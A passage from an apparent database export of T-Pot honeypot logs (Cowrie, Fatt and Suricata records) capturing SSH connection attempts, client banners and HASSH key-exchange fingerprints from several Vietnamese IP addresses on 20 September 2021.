"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42036, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.469616", "@timestamp": "2021-09-20T11:07:16.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23234	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.488823+03	2021-09-20 14:15:07.24447+03	{"_id": "_gbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5b8be0924f8c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:16.488823Z", "@timestamp": "2021-09-20T11:07:16.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23229	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:16.490926+03	2021-09-20 14:15:07.238471+03	{"_id": "-QbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51874, "timestamp": "2021-09-20T11:07:16.490926", "@timestamp": "2021-09-20T11:07:16.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23230	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:16.785028+03	2021-09-20 14:15:07.23947+03	{"_id": "-gbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51874, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.785028", "@timestamp": "2021-09-20T11:07:16.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23231	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:16.844049+03	2021-09-20 14:15:07.240471+03	{"_id": "-wbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33854, "timestamp": "2021-09-20T11:07:16.844049", "@timestamp": "2021-09-20T11:07:16.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23232	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:16.892982+03	2021-09-20 14:15:07.24247+03	{"_id": "_AbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33854, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.892982", "@timestamp": "2021-09-20T11:07:16.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23233	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:16.221765+03	2021-09-20 14:15:07.243471+03	{"_id": "_QbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fa9110283934", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:16.221765Z", "@timestamp": "2021-09-20T11:07:16.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23235	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.893683+03	2021-09-20 14:15:07.24647+03	{"_id": "_wbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d6f8356224b5", "@version": "1", "timestamp": "2021-09-20T11:07:16.893683Z", "@timestamp": "2021-09-20T11:07:16.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23236	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:16.959926+03	2021-09-20 14:15:07.24747+03	{"_id": "AAbjAnwBvYTbRNuEhAkd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6f1c7e7ae25d", "@version": "1", "duration": 2.9860336780548096, "timestamp": "2021-09-20T11:07:16.959926Z", "@timestamp": "2021-09-20T11:07:16.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23237	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:17.903402+03	2021-09-20 14:15:07.24847+03	{"_id": "AQbjAnwBvYTbRNuEhgmX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1330584817408840, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41954, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.903402Z", "@timestamp": "2021-09-20T11:07:17.903Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23238	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.442698+03	2021-09-20 14:15:07.249471+03	{"_id": "GAbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59454 (192.168.176.2:22) [session: d1e6d0a77d48]", "session": "d1e6d0a77d48", "@version": "1", "protocol": "ssh", "src_port": 59454, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.442698Z", "@timestamp": "2021-09-20T11:07:12.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
